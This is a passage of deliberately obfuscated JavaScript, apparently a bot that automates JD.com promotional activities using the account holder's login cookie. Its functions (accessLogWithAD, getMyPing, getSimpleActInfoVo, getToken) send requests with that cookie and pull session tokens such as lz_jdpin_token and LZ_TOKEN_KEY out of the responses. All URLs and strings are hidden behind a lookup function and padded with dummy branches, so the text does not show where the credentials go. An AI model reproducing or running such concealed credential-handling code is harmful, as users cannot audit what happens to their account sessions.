_0x5a7b57={'fDmpJ':_0x20ef1e[_0x5a05('283')],'oBExx':_0x20ef1e[_0x5a05('284')],'NpmhZ':_0x20ef1e[_0x5a05('285')],'yoGPR':_0x20ef1e[_0x5a05('286')],'MmUWx':_0x20ef1e[_0x5a05('287')]};let _0x8213e2=_0x5a05('288')+_0x20ef1e[_0x5a05('289')](encodeURIComponent,$[_0x5a05('62')]);$[_0x5a05('e9')](_0x20ef1e[_0x5a05('28a')](taskPostUrl,_0x20ef1e[_0x5a05('28b')],_0x8213e2),async(_0x9c9a16,_0x54188d,_0x171b6d)=>{try{if(_0x9c9a16){if(_0x20ef1e[_0x5a05('28c')](_0x20ef1e[_0x5a05('28d')],_0x20ef1e[_0x5a05('28d')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x9c9a16));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('28e'));}else{console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x9c9a16));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('28e'));}}else{res=$[_0x5a05('7e')](_0x171b6d);if(_0x20ef1e[_0x5a05('28f')](typeof res,_0x20ef1e[_0x5a05('290')])&&res[_0x5a05('81')]&&_0x20ef1e[_0x5a05('28c')](res[_0x5a05('81')],!![])){if(_0x20ef1e[_0x5a05('291')](_0x20ef1e[_0x5a05('292')],_0x20ef1e[_0x5a05('292')])){return{'url':_0x5a05('1b2')+functionId+_0x5a05('1b3'),'headers':{'Content-Type':_0x5a7b57[_0x5a05('293')],'Origin':_0x5a7b57[_0x5a05('294')],'Host':_0x5a7b57[_0x5a05('295')],'accept':_0x5a7b57[_0x5a05('296')],'User-Agent':$['UA'],'content-type':_0x5a7b57[_0x5a05('297')],'Referer':_0x5a05('1b9')+functionId+_0x5a05('1ba')+functionId+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}else{if(res[_0x5a05('82')]&&_0x20ef1e[_0x5a05('298')](typeof res[_0x5a05('82')][_0x5a05('84')],_0x20ef1e[_0x5a05('299')]))$[_0x5a05('85')]=res[_0x5a05('82')][_0x5a05('84')]||_0x20ef1e[_0x5a05('29a')];}}else if(_0x20ef1e[_0x5a05('29b')](typeof res,_0x20ef1e[_0x5a05('290')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('88')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x171b6d);}}}catch(_0x43c103){$[_0x5a05('3f')](_0x43c103,_0x54188d);}finally{_0x20ef1e[_0x5a05('29c')](_0x3af3f4);}});});}function accessLogWithAD(){var _0x5661f8={'kopkZ':function(_0x905946,_0x3dd2ec){return _0x905946==_0x3dd2ec;},'ScUKX':_0x5a05('29d'),'HCwSX':_0x5a05('29e'),'mZpBR':function(_0x5f5a38,_0x8c7bb){return _0x5f5a38>_0x8c7bb;},'WExds':_0x5a05('47'),'JTRuH':function(_0x150ff2,_0x1c1d68){return _0x150ff2+_0x1c1d68;},'EKEfn':_0x5a05('42'),'yOuBZ':_0x5a05('43'),'nnhAB':function(_0x34b4fb,_0x5c9710){return _0x34b4fb+_0x5c9710;},'RtnWO':_0x5a05('29f'),'qxJDC':_0x5a05('2a0'),'lydfN':_0x5a05('2a1'),'NJTAC':function(_0x2d20c8,_0x5e2f84){return _0x2d20c8!=_0x5e2f84;},'jtoEP':_0x5a05('44'),'HrALe':function(_0x51180d,_0x1f6cc8){return _0x51180d===_0x1f6cc8;},'OEWKn':_0x5a05('2a2'),'pORTs':_0x5a05('2a3'),'hcBJE':_0x5a05('2a4'),'OcofP':function(_0x1b5d9c,_0x5996b5){return _0x1b5d9c!==_0x5996b5;},'ItwBO':_0x5a05('2a5'),'ASQAj':function(_0x1f27c5,_0x55c6af){return _0x1f27c5+_0x55c6af;},'daOpS':function(_0x471001,_0x4bdba1){return _0x471001&&_0x4bdba1;},'OiZpV':function(_0x1f817f,_0xe83bf7){return _0x1f817f!==_0xe83bf7;},'LNtKj':_0x5a05('2a6'),'FWdGx':function(_0x4d8faa){return _0x4d8faa();},'Fbdgn':_0x5a05('4b'),'dRvGn':function(_0x4022c9,_0x106065){return _0x4022c9===_0x106065;},'oZXYQ':_0x5a05('2a7'),'CSArL':_0x5a05('2a8'),'xLUNW':function(_0x1edef1,_0xc1c0d1){return _0x1edef1(_0xc1c0d1);},'GOPtp':function(_0x57cdc5,_0x46dee6,_0xec5ce6){return _0x57cdc5(_0x46dee6,_0xec5ce6);},'OLUVr':_0x5a05('2a9')};return new Promise(_0x46ad1f=>{var _0x533043={'lGIGj':function(_0x3bf78d){return _0x5661f8[_0x5a05('2aa')](_0x3bf78d);},'vGMEN':function(_0x389a52,_0x28de66){return _0x5661f8[_0x5a05('2ab')](_0x389a52,_0x28de66);},'gZvvb':_0x5661f8[_0x5a05('2ac')]};if(_0x5661f8[_0x5a05('2ad')](_0x5661f8[_0x5a05('2ae')],_0x5661f8[_0x5a05('2af')])){_0x533043[_0x5a05('2b0')](_0x46ad1f);}else{let _0x7d4647=_0x5a05('2b1')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')];let _0x7fa48b=_0x5a05('2b2')+($[_0x5a05('77')]||$[_0x5a05('79')])+_0x5a05('2b3')+_0x5661f8[_0x5a05('2b4')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('2b5')+$[_0x5a05('2d')]+_0x5a05('2b6')+_0x5661f8[_0x5a05('2b4')](encodeURIComponent,_0x7d4647)+_0x5a05('2b7');$[_0x5a05('e9')](_0x5661f8[_0x5a05('2b8')](taskPostUrl,_0x5661f8[_0x5a05('2b9')],_0x7fa48b),async(_0x488e52,_0xf62b35,_0x3c1970)=>{var _0xd65990={'meBMc':function(_0x1cee97,_0x60563b){return _0x5661f8[_0x5a05('2ab')](_0x1cee97,_0x60563b);},'IZgOv':_0x5661f8[_0x5a05('2ba')],'KtVnp':_0x5661f8[_0x5a05('2bb')],'mkAoq':function(_0xdff694,_0x58b617){return _0x5661f8[_0x5a05('2bc')](_0xdff694,_0x58b617);},'FAvgj':_0x5661f8[_0x5a05('2bd')],'JtrUd':function(_0x2120f2,_0x19c691){return _0x5661f8[_0x5a05('2be')](_0x2120f2,_0x19c691);},'xGpdK':_0x5661f8[_0x5a05('2bf')],'UoGOT':_0x5661f8[_0x5a05('2c0')],'nemIh':function(_0x3a43ef,_0x386a62){return _0x5661f8[_0x5a05('2c1')](_0x3a43ef,_0x386a62);}};try{if(_0x488e52){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x488e52));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{let _0x10fe3e='';let _0x265dc0='';let _0x3dbdc4=_0xf62b35[_0x5661f8[_0x5a05('2c2')]][_0x5661f8[_0x5a05('2c3')]]||_0xf62b35[_0x5661f8[_0x5a05('2c2')]][_0x5661f8[_0x5a05('2c4')]]||'';let _0x2df440='';if(_0x3dbdc4){if(_0x5661f8[_0x5a05('2c5')](typeof _0x3dbdc4,_0x5661f8[_0x5a05('2c6')])){if(_0x5661f8[_0x5a05('2c7')](_0x5661f8[_0x5a05('2c8')],_0x5661f8[_0x5a05('2c9')])){$[_0x5a05('7')](_0x5a05('133')+res[_0x5a05('82')][_0x5a05('32')]+'个');}else{_0x2df440=_0x3dbdc4[_0x5a05('68')](',');}}else _0x2df440=_0x3dbdc4;for(let _0xa1adf of _0x2df440){if(_0x5661f8[_0x5a05('2c7')](_0x5661f8[_0x5a05('2ca')],_0x5661f8[_0x5a05('2ca')])){let _0x20a7c0=_0xa1adf[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x20a7c0[_0x5a05('68')]('=')[0x1]){if(_0x5661f8[_0x5a05('2cb')](_0x5661f8[_0x5a05('2cc')],_0x5661f8[_0x5a05('2cc')])){if(_0xd65990[_0x5a05('2cd')](typeof str,_0xd65990[_0x5a05('2ce')])){try{return JSON[_0x5a05('136')](str);}catch(_0x3fce7a){console[_0x5a05('7')](_0x3fce7a);$[_0x5a05('20')]($[_0x5a05('21')],'',_0xd65990[_0x5a05('2cf')]);return[];}}}else{if(_0x5661f8[_0x5a05('2bc')](_0x20a7c0[_0x5a05('6b')](_0x5661f8[_0x5a05('2bf')]),-0x1))_0x10fe3e=_0x5661f8[_0x5a05('2d0')](_0x20a7c0[_0x5a05('6e')](/ /g,''),';');if(_0x5661f8[_0x5a05('2bc')](_0x20a7c0[_0x5a05('6b')](_0x5661f8[_0x5a05('2c0')]),-0x1))_0x265dc0=_0x5661f8[_0x5a05('2d0')](_0x20a7c0[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0xf62b35[_0x5a05('15a')]&&_0x533043[_0x5a05('2d1')](_0xf62b35[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x533043[_0x5a05('2d2')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x488e52));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}}if(_0x5661f8[_0x5a05('2d3')](_0x10fe3e,_0x265dc0))activityCookie=_0x10fe3e+'\x20'+_0x265dc0;}}catch(_0x258620){if(_0x5661f8[_0x5a05('2d4')](_0x5661f8[_0x5a05('2d5')],_0x5661f8[_0x5a05('2d5')])){if(_0xd65990[_0x5a05('2d6')](name[_0x5a05('6b')](_0xd65990[_0x5a05('2d7')]),-0x1))lz_jdpin_token=_0xd65990[_0x5a05('2d8')](name[_0x5a05('6e')](/ /g,''),';');if(_0xd65990[_0x5a05('2d6')](name[_0x5a05('6b')](_0xd65990[_0x5a05('2d9')]),-0x1))LZ_TOKEN_KEY=_0xd65990[_0x5a05('2d8')](name[_0x5a05('6e')](/ /g,''),';');if(_0xd65990[_0x5a05('2d6')](name[_0x5a05('6b')](_0xd65990[_0x5a05('2da')]),-0x1))LZ_TOKEN_VALUE=_0xd65990[_0x5a05('2db')](name[_0x5a05('6e')](/ /g,''),';');}else{$[_0x5a05('3f')](_0x258620,_0xf62b35);}}finally{_0x5661f8[_0x5a05('2aa')](_0x46ad1f);}});}});}function getMyPing(){var _0xa77741={'FmBZp':function(_0x11ffd1){return _0x11ffd1();},'PcwhE':function(_0x1702e1,_0x162d9a){return _0x1702e1===_0x162d9a;},'iKueg':function(_0xc5ee1f,_0x5f893){return _0xc5ee1f==_0x5f893;},'bZMsu':_0x5a05('44'),'ptnyR':_0x5a05('52'),'qRwMZ':function(_0xe1f1d7,_0x2c6732){return _0xe1f1d7!=_0x2c6732;},'ByNqK':_0x5a05('45'),'oliWg':_0x5a05('46'),'iVcdk':_0x5a05('1a'),'aSlwd':function(_0x40fb0f,_0x43ee2e){return _0x40fb0f==_0x43ee2e;},'ieXbi':function(_0x3ead64,_0x2b6b0){return _0x3ead64===_0x2b6b0;},'NjIHR':_0x5a05('2dc'),'XdEDs':_0x5a05('4b'),'xTLlc':function(_0x1a68d6,_0x31e5ab){return _0x1a68d6!==_0x31e5ab;},'xsVna':_0x5a05('2dd'),'pDNyD':_0x5a05('2de'),'CjQuP':_0x5a05('29f'),'bGjpM':_0x5a05('2a0'),'USOoq':_0x5a05('2a1'),'XbjFJ':_0x5a05('2df'),'vdyrL':_0x5a05('2e0'),'tYJCT':function(_0x46bd64,_0x15a3f9){return _0x46bd64!=_0x15a3f9;},'jwxOt':_0x5a05('2e1'),'Neinc':function(_0x131065,_0x41ca3b){return _0x131065!==_0x41ca3b;},'HuVRn':_0x5a05('2e2'),'UWGzr':function(_0x258f7c,_0x5e7cca){return _0x258f7c>_0x5e7cca;},'JMucp':_0x5a05('47'),'pSriM':function(_0xe03081,_0x72432e){return _0xe03081+_0x72432e;},'uCqGI':_0x5a05('42'),'QZuQd':_0x5a05('43'),'aCqKV':function(_0xdbb16f,_0x126105){return _0xdbb16f+_0x126105;},'ZWZnK':function(_0xe041db,_0x27b8de){return _0xe041db&&_0x27b8de;},'RHWwj':function(_0x3d8c44,_0x3cbba0){return _0x3d8c44!=_0x3cbba0;},'fmFZa':_0x5a05('2e3'),'fwGko':function(_0x465c1a,_0x488eb9){return _0x465c1a!==_0x488eb9;},'tABbh':_0x5a05('2e4'),'mIaLr':_0x5a05('2e5'),'iPzti':function(_0x9c7743,_0x3b8e85,_0x4e1f2a){return _0x9c7743(_0x3b8e85,_0x4e1f2a);},'cuUcX':_0x5a05('2e6')};return new Promise(_0x4a7bd8=>{var _0x1b13f0={'xLKhL':function(_0x1e16bd){return _0xa77741[_0x5a05('2e7')](_0x1e16bd);},'bTJuu':function(_0x565577,_0x5d2791){return _0xa77741[_0x5a05('2e8')](_0x565577,_0x5d2791);},'wtlmV':function(_0x39e910,_0x5b4da1){return _0xa77741[_0x5a05('2e9')](_0x39e910,_0x5b4da1);},'ymazM':_0xa77741[_0x5a05('2ea')],'bQRdn':_0xa77741[_0x5a05('2eb')],'ivDPt':function(_0x442985,_0xc40636){return _0xa77741[_0x5a05('2ec')](_0x442985,_0xc40636);},'yStIB':_0xa77741[_0x5a05('2ed')],'LFmnB':_0xa77741[_0x5a05('2ee')],'bxSej':_0xa77741[_0x5a05('2ef')],'byIZB':function(_0x1a6e2f,_0x69f959){return _0xa77741[_0x5a05('2f0')](_0x1a6e2f,_0x69f959);},'qxkNF':function(_0x5343be,_0x648242){return _0xa77741[_0x5a05('2f1')](_0x5343be,_0x648242);},'CONai':_0xa77741[_0x5a05('2f2')],'YxoDs':_0xa77741[_0x5a05('2f3')],'xKQDq':function(_0x551892,_0x5a276b){return _0xa77741[_0x5a05('2f4')](_0x551892,_0x5a276b);},'uYCXF':_0xa77741[_0x5a05('2f5')],'fibGK':_0xa77741[_0x5a05('2f6')],'HFWKf':_0xa77741[_0x5a05('2f7')],'bkJwz':_0xa77741[_0x5a05('2f8')],'itVco':_0xa77741[_0x5a05('2f9')],'XqVuT':_0xa77741[_0x5a05('2fa')],'WMteT':_0xa77741[_0x5a05('2fb')],'yLqkJ':function(_0x1204f5,_0x34ac27){return _0xa77741[_0x5a05('2fc')](_0x1204f5,_0x34ac27);},'xMZvC':_0xa77741[_0x5a05('2fd')],'AQEhs':function(_0x1ae96d,_0x570144){return _0xa77741[_0x5a05('2fe')](_0x1ae96d,_0x570144);},'AffvJ':_0xa77741[_0x5a05('2ff')],'eHMXC':function(_0x106ca2,_0x58e3fa){return _0xa77741[_0x5a05('300')](_0x106ca2,_0x58e3fa);},'fHAvo':_0xa77741[_0x5a05('301')],'KVhra':function(_0x365f5c,_0x383b47){return _0xa77741[_0x5a05('302')](_0x365f5c,_0x383b47);},'zZrbM':function(_0xebf9f5,_0x114fff){return _0xa77741[_0x5a05('300')](_0xebf9f5,_0x114fff);},'onvPP':_0xa77741[_0x5a05('303')],'EuzKd':function(_0xcddbc8,_0x2b024f){return _0xa77741[_0x5a05('302')](_0xcddbc8,_0x2b024f);},'otWvA':_0xa77741[_0x5a05('304')],'lnAdO':function(_0x2f6346,_0x211099){return _0xa77741[_0x5a05('305')](_0x2f6346,_0x211099);},'mEYgA':function(_0x3562d5,_0x3decaa){return _0xa77741[_0x5a05('306')](_0x3562d5,_0x3decaa);},'EkDGa':function(_0x133bde,_0x5524ec){return _0xa77741[_0x5a05('307')](_0x133bde,_0x5524ec);},'GqseQ':function(_0x312aa7,_0x3c1453){return _0xa77741[_0x5a05('2f0')](_0x312aa7,_0x3c1453);},'lFOTZ':_0xa77741[_0x5a05('308')],'ihjAT':function(_0x513fe1,_0x2a8fd8){return _0xa77741[_0x5a05('309')](_0x513fe1,_0x2a8fd8);},'WSpus':_0xa77741[_0x5a05('30a')]};if(_0xa77741[_0x5a05('2f1')](_0xa77741[_0x5a05('30b')],_0xa77741[_0x5a05('30b')])){let _0xe180bd=_0x5a05('30c')+($[_0x5a05('77')]||$[_0x5a05('79')])+_0x5a05('30d')+$[_0x5a05('61')]+_0x5a05('30e');$[_0x5a05('e9')](_0xa77741[_0x5a05('30f')](taskPostUrl,_0xa77741[_0x5a05('310')],_0xe180bd),async(_0x170da5,_0x251c1b,_0x406414)=>{var _0x4741bd={'gSaqy':_0x1b13f0[_0x5a05('311')],'biXAS':function(_0x7f5f9,_0x1a8f93){return _0x1b13f0[_0x5a05('312')](_0x7f5f9,_0x1a8f93);},'cIurt':_0x1b13f0[_0x5a05('313')],'tPfjZ':_0x1b13f0[_0x5a05('314')],'zxuVL':_0x1b13f0[_0x5a05('315')]};try{if(_0x170da5){if(_0x251c1b[_0x5a05('15a')]&&_0x1b13f0[_0x5a05('316')](_0x251c1b[_0x5a05('15a')],0x1ed)){if(_0x1b13f0[_0x5a05('317')](_0x1b13f0[_0x5a05('318')],_0x1b13f0[_0x5a05('318')])){console[_0x5a05('7')](_0x1b13f0[_0x5a05('319')]);$[_0x5a05('13')]=!![];}else{_0x1b13f0[_0x5a05('31a')](_0x4a7bd8);}}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x170da5));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('31b'));}else{if(_0x1b13f0[_0x5a05('31c')](_0x1b13f0[_0x5a05('31d')],_0x1b13f0[_0x5a05('31e')])){let _0x478591='';let _0x194a87='';let _0xedd285=_0x251c1b[_0x1b13f0[_0x5a05('31f')]][_0x1b13f0[_0x5a05('320')]]||_0x251c1b[_0x1b13f0[_0x5a05('31f')]][_0x1b13f0[_0x5a05('321')]]||'';let _0x5e3c6f='';if(_0xedd285){if(_0x1b13f0[_0x5a05('31c')](_0x1b13f0[_0x5a05('322')],_0x1b13f0[_0x5a05('323')])){if(_0x1b13f0[_0x5a05('324')](typeof _0xedd285,_0x1b13f0[_0x5a05('325')])){_0x5e3c6f=_0xedd285[_0x5a05('68')](',');}else _0x5e3c6f=_0xedd285;for(let _0xd438c8 of _0x5e3c6f){if(_0x1b13f0[_0x5a05('317')](_0x1b13f0[_0x5a05('326')],_0x1b13f0[_0x5a05('326')])){let _0x4c11e7=_0xd438c8[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x4c11e7[_0x5a05('68')]('=')[0x1]){if(_0x1b13f0[_0x5a05('327')](_0x1b13f0[_0x5a05('328')],_0x1b13f0[_0x5a05('328')])){console[_0x5a05('7')](_0x4741bd[_0x5a05('329')]);return;}else{if(_0x1b13f0[_0x5a05('32a')](_0x4c11e7[_0x5a05('6b')](_0x1b13f0[_0x5a05('32b')]),-0x1))lz_jdpin_token=_0x1b13f0[_0x5a05('32c')](_0x4c11e7[_0x5a05('6e')](/ /g,''),';');if(_0x1b13f0[_0x5a05('32d')](_0x4c11e7[_0x5a05('6b')](_0x1b13f0[_0x5a05('32e')]),-0x1))_0x478591=_0x1b13f0[_0x5a05('32f')](_0x4c11e7[_0x5a05('6e')](/ /g,''),';');if(_0x1b13f0[_0x5a05('32d')](_0x4c11e7[_0x5a05('6b')](_0x1b13f0[_0x5a05('330')]),-0x1))_0x194a87=_0x1b13f0[_0x5a05('331')](_0x4c11e7[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0x501a72[_0x5a05('82')]&&_0x4741bd[_0x5a05('332')](typeof _0x501a72[_0x5a05('82')][_0x5a05('84')],_0x4741bd[_0x5a05('333')]))$[_0x5a05('85')]=_0x501a72[_0x5a05('82')][_0x5a05('84')]||_0x4741bd[_0x5a05('334')];}}}else{console[_0x5a05('7')](_0x4741bd[_0x5a05('335')]);}}if(_0x1b13f0[_0x5a05('336')](_0x478591,_0x194a87))activityCookie=_0x478591+'\x20'+_0x194a87;let _0x501a72=$[_0x5a05('7e')](_0x406414);if(_0x1b13f0[_0x5a05('316')](typeof _0x501a72,_0x1b13f0[_0x5a05('325')])&&_0x501a72[_0x5a05('81')]&&_0x1b13f0[_0x5a05('317')](_0x501a72[_0x5a05('81')],!![])){if(_0x501a72[_0x5a05('82')]&&_0x1b13f0[_0x5a05('324')](typeof _0x501a72[_0x5a05('82')][_0x5a05('337')],_0x1b13f0[_0x5a05('313')]))$[_0x5a05('62')]=_0x501a72[_0x5a05('82')][_0x5a05('337')];if(_0x501a72[_0x5a05('82')]&&_0x1b13f0[_0x5a05('338')](typeof _0x501a72[_0x5a05('82')][_0x5a05('75')],_0x1b13f0[_0x5a05('313')]))$[_0x5a05('75')]=_0x501a72[_0x5a05('82')][_0x5a05('75')];}else if(_0x1b13f0[_0x5a05('339')](typeof _0x501a72,_0x1b13f0[_0x5a05('325')])&&_0x501a72[_0x5a05('87')]){if(_0x1b13f0[_0x5a05('327')](_0x1b13f0[_0x5a05('33a')],_0x1b13f0[_0x5a05('33a')])){cookiesArr[_0x5a05('3')](jdCookieNode[item]);}else{console[_0x5a05('7')](_0x5a05('33b')+(_0x501a72[_0x5a05('87')]||''));}}else{console[_0x5a05('7')](_0x406414);}}else{if(_0x1b13f0[_0x5a05('33c')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){$[_0x5a05('7')](_0x5a05('133')+res[_0x5a05('82')][_0x5a05('32')]+'个');}else if(_0x1b13f0[_0x5a05('33d')](typeof res,_0x1b13f0[_0x5a05('325')])&&res[_0x5a05('87')]){console[_0x5a05('7')](''+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x406414);}}}}catch(_0x53029f){if(_0x1b13f0[_0x5a05('33e')](_0x1b13f0[_0x5a05('33f')],_0x1b13f0[_0x5a05('33f')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x170da5));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{$[_0x5a05('3f')](_0x53029f,_0x251c1b);}}finally{_0x1b13f0[_0x5a05('31a')](_0x4a7bd8);}});}else{console[_0x5a05('7')](_0x1b13f0[_0x5a05('319')]);$[_0x5a05('13')]=!![];}});}function getSimpleActInfoVo(){var _0x50a6b4={'nclzx':_0x5a05('4b'),'lLtLr':function(_0x5a7f2a){return _0x5a7f2a();},'gCWsn':function(_0x11227d,_0x5e0773){return _0x11227d!==_0x5e0773;},'XFKMG':_0x5a05('340'),'KdqyD':_0x5a05('341'),'JuSIe':_0x5a05('342'),'lrsCN':function(_0x40c354,_0x512b2c){return _0x40c354==_0x512b2c;},'xlHOR':_0x5a05('343'),'eTzaA':_0x5a05('344'),'NFdWx':_0x5a05('44'),'lMFrG':function(_0x44a884,_0x3c56a4){return _0x44a884===_0x3c56a4;},'thnvC':function(_0x3c64cc,_0x2467db){return _0x3c64cc!==_0x2467db;},'HDliI':_0x5a05('345'),'qqUug':function(_0x1d8be3,_0x23928c){return _0x1d8be3!=_0x23928c;},'lusFw':_0x5a05('45'),'QxQsw':_0x5a05('346'),'cZgWu':_0x5a05('347'),'PwLWH':function(_0x54b3f1,_0x18acb9){return _0x54b3f1!==_0x18acb9;},'Ngnbw':_0x5a05('348'),'DHagb':function(_0x2f365c,_0x301530,_0x559619){return _0x2f365c(_0x301530,_0x559619);},'XTKwN':_0x5a05('349')};return new Promise(_0x415a2c=>{var _0x401cc0={'vQjGa':_0x50a6b4[_0x5a05('34a')],'OPKhL':function(_0x9938f0){return _0x50a6b4[_0x5a05('34b')](_0x9938f0);},'KYorT':function(_0x5966e6,_0x51256f){return _0x50a6b4[_0x5a05('34c')](_0x5966e6,_0x51256f);},'ZsBaS':_0x50a6b4[_0x5a05('34d')],'bEJgP':_0x50a6b4[_0x5a05('34e')],'speyT':_0x50a6b4[_0x5a05('34f')],'uJNlR':function(_0x388247,_0x11d3ae){return _0x50a6b4[_0x5a05('350')](_0x388247,_0x11d3ae);},'VysmG':_0x50a6b4[_0x5a05('351')],'ohXen':_0x50a6b4[_0x5a05('352')],'gnvFC':function(_0x2d557c,_0x38fd1c){return _0x50a6b4[_0x5a05('350')](_0x2d557c,_0x38fd1c);},'JfkcX':_0x50a6b4[_0x5a05('353')],'chytr':function(_0x7ca2b7,_0x597fe1){return _0x50a6b4[_0x5a05('354')](_0x7ca2b7,_0x597fe1);},'ajHuL':function(_0x2d4940,_0x38015b){return _0x50a6b4[_0x5a05('355')](_0x2d4940,_0x38015b);},'BfjXd':_0x50a6b4[_0x5a05('356')],'rAIBG':function(_0xdfa60a,_0x3e8907){return _0x50a6b4[_0x5a05('357')](_0xdfa60a,_0x3e8907);},'ERtTb':_0x50a6b4[_0x5a05('358')],'ONhju':_0x50a6b4[_0x5a05('359')],'QTchV':function(_0x5eeff6,_0xe149aa){return _0x50a6b4[_0x5a05('354')](_0x5eeff6,_0xe149aa);},'Gvwhd':_0x50a6b4[_0x5a05('35a')],'zVYru':function(_0x4c5f8e,_0x5ef08e){return _0x50a6b4[_0x5a05('35b')](_0x4c5f8e,_0x5ef08e);},'tMMoJ':_0x50a6b4[_0x5a05('35c')]};let _0x1396af=_0x5a05('e4')+$[_0x5a05('2d')];$[_0x5a05('e9')](_0x50a6b4[_0x5a05('35d')](taskPostUrl,_0x50a6b4[_0x5a05('35e')],_0x1396af),async(_0x2ad1ff,_0x202ccb,_0x189d1b)=>{var _0x583292={'aWdPC':function(_0x140b37){return _0x401cc0[_0x5a05('35f')](_0x140b37);}};if(_0x401cc0[_0x5a05('360')](_0x401cc0[_0x5a05('361')],_0x401cc0[_0x5a05('361')])){console[_0x5a05('7')](_0x189d1b);}else{try{if(_0x2ad1ff){if(_0x401cc0[_0x5a05('360')](_0x401cc0[_0x5a05('362')],_0x401cc0[_0x5a05('363')])){if(_0x202ccb[_0x5a05('15a')]&&_0x401cc0[_0x5a05('364')](_0x202ccb[_0x5a05('15a')],0x1ed)){if(_0x401cc0[_0x5a05('360')](_0x401cc0[_0x5a05('365')],_0x401cc0[_0x5a05('366')])){console[_0x5a05('7')](_0x401cc0[_0x5a05('367')]);$[_0x5a05('13')]=!![];}else{$[_0x5a05('3f')](e,_0x202ccb);}}console[_0x5a05('7')](''+JSON[_0x5a05('368')](_0x2ad1ff));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('369'));}else{$[_0x5a05('3f')](e,_0x202ccb);}}else{res=$[_0x5a05('7e')](_0x189d1b);if(_0x401cc0[_0x5a05('36a')](typeof res,_0x401cc0[_0x5a05('36b')])&&res[_0x5a05('81')]&&_0x401cc0[_0x5a05('36c')](res[_0x5a05('81')],!![])){if(_0x401cc0[_0x5a05('36d')](_0x401cc0[_0x5a05('36e')],_0x401cc0[_0x5a05('36e')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x2ad1ff));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x401cc0[_0x5a05('36f')](typeof res[_0x5a05('82')][_0x5a05('77')],_0x401cc0[_0x5a05('370')]))$[_0x5a05('77')]=res[_0x5a05('82')][_0x5a05('77')];if(_0x401cc0[_0x5a05('36f')](typeof res[_0x5a05('82')][_0x5a05('79')],_0x401cc0[_0x5a05('370')]))$[_0x5a05('79')]=res[_0x5a05('82')][_0x5a05('79')];}}else if(_0x401cc0[_0x5a05('36a')](typeof res,_0x401cc0[_0x5a05('36b')])&&res[_0x5a05('87')]){if(_0x401cc0[_0x5a05('36d')](_0x401cc0[_0x5a05('371')],_0x401cc0[_0x5a05('371')])){console[_0x5a05('7')](_0x401cc0[_0x5a05('367')]);$[_0x5a05('13')]=!![];}else{console[_0x5a05('7')](_0x5a05('372')+(res[_0x5a05('87')]||''));}}else{if(_0x401cc0[_0x5a05('373')](_0x401cc0[_0x5a05('374')],_0x401cc0[_0x5a05('374')])){console[_0x5a05('7')](_0x189d1b);}else{return JSON[_0x5a05('136')](str);}}}}catch(_0x36d6bf){if(_0x401cc0[_0x5a05('375')](_0x401cc0[_0x5a05('376')],_0x401cc0[_0x5a05('376')])){_0x583292[_0x5a05('377')](_0x415a2c);}else{$[_0x5a05('3f')](_0x36d6bf,_0x202ccb);}}finally{_0x401cc0[_0x5a05('35f')](_0x415a2c);}}});});}function getToken(){var _0x46a0fa={'itasH':function(_0x3cf7f0,_0x18ce4a){return _0x3cf7f0==_0x18ce4a;},'qBwyJ':_0x5a05('44'),'nWlCf':function(_0x4bd7a2,_0x54dc1b){return _0x4bd7a2!=_0x54dc1b;},'YJPxF':_0x5a05('45'),'zgOnE':function(_0x3c8376,_0x33e658){return _0x3c8376==_0x33e658;},'UxbYQ':function(_0x3bcfbb,_0x4d2909){return _0x3bcfbb!==_0x4d2909;},'gpWue':_0x5a05('378'),'xiQqh':_0x5a05('379'),'IHoUC':_0x5a05('37a'),'UpWfg':function(_0x5b0ad3){return _0x5b0ad3();},'zdkae':_0x5a05('29e'),'KZUoV':_0x5a05('37b'),'wNwhR':_0x5a05('1b1'),'kqwQJ':_0x5a05('1af')};return new Promise(_0x562acc=>{var _0x2e6e15={'JLmmU':_0x46a0fa[_0x5a05('37c')]};$[_0x5a05('e9')]({'url':_0x5a05('37d'),'body':_0x46a0fa[_0x5a05('37e')],'headers':{'Content-Type':_0x46a0fa[_0x5a05('37f')],'Cookie':cookie,'Host':_0x46a0fa[_0x5a05('380')],'User-Agent':_0x5a05('381')}},async(_0x4805b1,_0x284257,_0x4bf4b4)=>{try{if(_0x4805b1){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x4805b1));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('382'));}else{let _0x1d062c=$[_0x5a05('7e')](_0x4bf4b4);if(_0x46a0fa[_0x5a05('383')](typeof _0x1d062c,_0x46a0fa[_0x5a05('384')])&&_0x46a0fa[_0x5a05('383')](_0x1d062c[_0x5a05('193')],0x0)){if(_0x46a0fa[_0x5a05('385')](typeof _0x1d062c[_0x5a05('195')],_0x46a0fa[_0x5a05('386')]))$[_0x5a05('61')]=_0x1d062c[_0x5a05('195')];}else if(_0x46a0fa[_0x5a05('387')](typeof 